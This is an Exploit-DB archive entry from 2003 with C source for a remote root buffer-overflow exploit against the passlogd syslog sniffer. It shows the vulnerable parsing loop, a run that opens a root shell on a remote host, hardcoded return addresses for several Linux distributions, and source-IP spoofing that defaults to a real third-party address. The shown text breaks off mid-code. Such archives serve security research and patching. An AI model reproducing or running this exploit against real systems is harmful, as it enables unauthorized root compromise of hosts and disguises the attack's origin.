Exploit-DB #22449
Description: Passlog Daemon 0.1 - 'SL_Parse' Remote Buffer Overflow (1)
Type: remote
Platform: unix
Date: 2003-04-02
Author: Xpl017Elz

Exploit:
// source: https://www.securityfocus.com/bid/7261/info

It has been reported that passlogd does not properly handle some types of input. Because of this, an attacker may be able to gain unauthorized access to hosts running the vulnerable software. 

/*
**
** [*] Title: Remote Multiple Buffer Overflow vulnerability in passlogd sniffer.
** [+] Exploit code: 0x82-Remote.passlogd_sniff.xpl.c
**
** [+] Description --
**
** About:
** passlogd is a purpose-built sniffer for capturing syslog messages in transit.
** This allows for backup logging to be performed on a machine with no open ports. 
** 
** This program is introduced in securityfocus: http://www.securityfocus.com/tools/2076
** 
** Vulnerability can presume as following.
** There is sl_parse() function to 33 lines of 'parse.c' code.
** 
**     __
**         ...
**     77    while(pkt[i] != '>'){
**     78      level[j] = pkt[i]; // This is exploit target.
**     79      i++;
**     80      j++;
**     81    }
**     82    i++;
**         ...
**     --
** 
** Visual point that change flowing of this program,
** happen after overwrited stack variables.
** Of course, frame pointer overrun exists together.
** 
** [+] Vulnerable Packages --
** 
** Vendor site: http://www.morphine.com/src/passlogd.html
** 
** passlogd v0.1d
** -passlogd-0.1d.tar.gz
** +FreeBSD
** +OpenBSD
** +Linux
** +Other
** passlogd v0.1c
** -passlogd-0.1c.tar.gz
** passlogd v0.1b
** -passlogd-0.1b.tar.gz
** passlogd v0.1a
** -passlogd-0.1a.tar.gz
** 
** [+] Exploit --
** 
** Our proof of concept code was completed.
** Exhibit it sooner or later.
** 
** exploit result: --
** 
** bash-2.04# ./0x82-Remote.passlogd_sniff.xpl -h61.37.xxx.xx -t2
** 
**  passlogd sniffer remote buffer overflow root exploit
**                                         by Xpl017Elz.
** 
**  [0] Set packet code size.
**  [1] Set protocol header.
**  [2] Make shellcode.
**  [3] Set rawsock.
**  [4] Send packet.
**  [5] Trying 61.37.xxx.xx:36864.
**  [*] Connected to 61.37.xxx.xx:36864.
**  [*] Executed shell successfully !
** 
** Linux blah 2.4.20 #1 SMP Fri Mar 21 20:36:58 EST 2003 i686 unknown
** uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
** [root@blah /passlogd-0.1d]#
**
** -- 
** exploit by "you dong-hun"(Xpl017Elz), <szoahc@hotmail.com>. 
** My World: http://x82.i21c.net & http://x82.inetcop.org
**
*/
/*
** -=-= POINT! POINT! POINT! POINT! POINT! =-=-
**
** This exploit is proof of concept. (Therefore, don't support 'Brute-force' mode.)
**
** P.S:
**
** I now, system OS is lacking. :-l
** Although very appreciative people sent account to me.
** uid=0 of this exploit need urgently. hehehe!
**
** Thank you.
**
*/

#include <stdio.h>
#include <unistd.h>
#include <errno.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/udp.h>

struct os {
	int num;
	char *ost;
	u_long shell;
	int l_sz;
};

#define Xpl017Elz x82
#define D_M (0)
struct os plat[]=
{
	{
		0,"ALZZA Linux release 6.1 (Linux One)",
		/* It's Korean Linux */
		0xbfffaf82,545
	},
	{
		1,"WOW Linux release 6.2 (Puberty)",
		/* It's Korean Linux */
		0xbfffaf82,545
	},
	{
		2,"RedHat Linux release 7.0 (Guinness)",
		/* It's my redhat that exist uniquely. */
		0xbfffae82,581
	},
	{
		3,"WOWLiNUX Release 7.1 (Paran)",
		/* It's Korean Linux */
		0xbfffae82,593
	},
	{
		4,"RedHat Linux release 8.0 (Psyche)",
		/* It's not to me now. (C0mming s00n) */
		0x82828282,0 // shit.
	},
	{
		5,NULL,0,0
	}
};

void banrl();
int setsock(char *host,int port);
void re_connt(int sock);
void send_recv_sh(int sock);
void usage(char *p_name);
int make_sh(u_long shcode,int l_sz);
int main(int argc,char **argv)
{
	int sock,whgl,type=D_M;
	struct hostent *he;
	struct sockaddr_in hehe;
	struct iphdr *__ip_hdr_st;
	struct udphdr *__udp_hdr_st;
#ifdef _TEST
#define FK_IP "82.82.82.82" /* fake src ip */
#else
#define FK_IP "216.239.33.101" /* G00Gl3 */
#endif
	char spoof_ip[0x82]=FK_IP;
#define D_PORT (36864)
	int port=D_PORT;
#define _DMN_NAME
#ifdef _DMN_NAME
#define LC_TEST "localhost" /* default test host */
#else
#define LC_TEST "127.0.0.1" /* localhost */
#endif 
	char host[0x82]=LC_TEST;
#ifdef T_ADDR_
#define SHELL 0x82828282 /* test */
#endif
	u_long shell=plat[type].shell;
	int l_sz=plat[type].l_sz;
	int atk_pk_size,make_sh_size;
	char *__tot_atk_pk,*atk_mbuf;

	(void)banrl();
	if(argc<2)
	{
		(void)usage(argv[D_M]);
	}

	while((whgl=getopt(argc,argv,"L:l:H:h:F:f:T:t:IiS:s:"))!=-1)
	{
		extern char *optarg;
		switch(whgl)
		{
			case 'H':
			case 'h':
				memset((char *)host,D_M,sizeof(host));
				strncpy(host,optarg,sizeof(host)-1);
				break;
				
			case 'F':
			case 'f':
				memset((char *)spoof_ip,D_M,sizeof(spoof_ip));
				strncpy(spoof_ip,optarg,sizeof(spoof_ip)-1);
				break;
				
			case 'L':
			case 'l':
				l_sz=atoi(optarg);
				break;
				
			case 'T':
			case 't':
				type=atoi(optarg);
				if(type>4)
					(void)usage(argv[D_M]);
				else
				{
					shell=plat[type].shell;
					l_sz=plat[type].l_sz;
				}
				break;
				
			case 'S':
			case 's':
				shell=strtoul(optarg,NULL,NULL);
				break;
				
			case 'I':
			case 'i':
				(void)usage(argv[D_M]);
				break;
				
			case '?':
				fprintf(stderr," Try `%s -i' for more information.\n\n",argv[D_M]);
				exit(-1);
				break;
		}
	}
	{
	    	fprintf(stdout," [0] Set packet code size.\n");
		make_sh_size=strlen((char *)make_sh(shell,l_sz));
		atk_pk_size=(sizeof(struct iphdr)+
				sizeof(struct udphdr)+make_sh_size);
		__tot_atk_pk=(char *)malloc(atk_pk_size);
		memset((char *)__tot_atk_pk,D_M,atk_pk_size);
		atk_mbuf=(sizeof(struct iphdr)+
				sizeof(struct udphdr)+
				(char *)__tot_atk_pk);
		fprintf(stdout," [1] Set proto